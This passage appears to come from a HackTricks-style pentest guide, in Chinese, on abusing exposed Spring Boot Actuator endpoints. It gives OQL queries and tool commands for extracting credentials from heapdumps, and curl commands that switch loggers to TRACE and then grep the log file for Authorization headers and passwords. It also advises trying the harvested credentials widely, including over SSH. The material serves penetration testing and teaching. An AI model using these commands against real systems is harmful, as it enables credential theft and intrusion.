'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d +``` + +- 使用 VisualVM 和 OQL 进行深入分析: +- 在 VisualVM 中打开 heapdump,检查 `java.lang.String` 的实例或运行 OQL 来搜索 secrets: +``` +select s.toString() +from java.lang.String s +where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) +``` + +- 使用 JDumpSpider 自动提取: +```bash +java -jar JDumpSpider-*.jar heapdump +``` +典型的高价值发现: +- Spring `DataSourceProperties` / `HikariDataSource` objects 暴露 `url`、`username`、`password`。 +- `OriginTrackedMapPropertySource` 条目泄露 `management.endpoints.web.exposure.include`、服务端口,以及 URL 中嵌入的 Basic-Auth(例如 Eureka `defaultZone`)。 +- 内存中捕获的明文 HTTP 请求/响应片段,包括 `Authorization: Basic ...`。 + +提示: +- 使用面向 Spring 的 wordlist 快速发现 actuator endpoints(例如 SecLists 的 spring-boot.txt),并始终检查 `/actuator/logfile`、`/actuator/httpexchanges`、`/actuator/env` 和 `/actuator/configprops` 是否也被暴露。 +- 来自 heapdump 的 credentials 经常对相邻服务有效,有时也对系统用户(SSH)有效,因此应广泛尝试这些凭据。 + + +## Abusing Actuator loggers/logging to capture credentials + +如果 `management.endpoints.web.exposure.include` 允许且 `/actuator/loggers` 被暴露,你可以动态将处理认证和请求处理的包的日志级别提升到 DEBUG/TRACE。配合可读的日志(通过 `/actuator/logfile` 或已知日志路径),这可能会 leak 登录流程中提交的 credentials(例如 Basic-Auth headers 或表单参数)。 + +- 枚举并调高敏感 loggers: +```bash +# List available loggers +curl -s http://target/actuator/loggers | jq . + +# Enable very verbose logs for security/web stacks (adjust as needed) +curl -s -X POST http://target/actuator/loggers/org.springframework.security \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.web \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +``` + +- 找到日志写入位置并收集: +```bash +# If exposed, read from Actuator directly +curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' + +# Otherwise, query env/config to locate file path +curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' +``` + +- 触发 login/authentication 流量并在日志中解析 creds。在使用 gateway 做 auth 前端的微服务部署中,为 gateway/security 包启用 TRACE 通常会使 headers 和 form bodies 可见。有些环境甚至会周期性生成合成的 login traffic,一旦日志变得详细,harvesting 就十分容易。 + +注意: +- 完成后重置日志级别:`POST /actuator/loggers/` 并使用 `{ "configuredLevel": null }`。 +- 如果 `/actuator/httpexchanges` 被暴露,它也会展示最近的请求元数据,可能包含敏感 headers。 + + +## 参考资料 + +- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) +- [VisualVM](https://visualvm.github.io/) +- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider) +- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) + {{#include ../../banners/hacktricks-training.md}}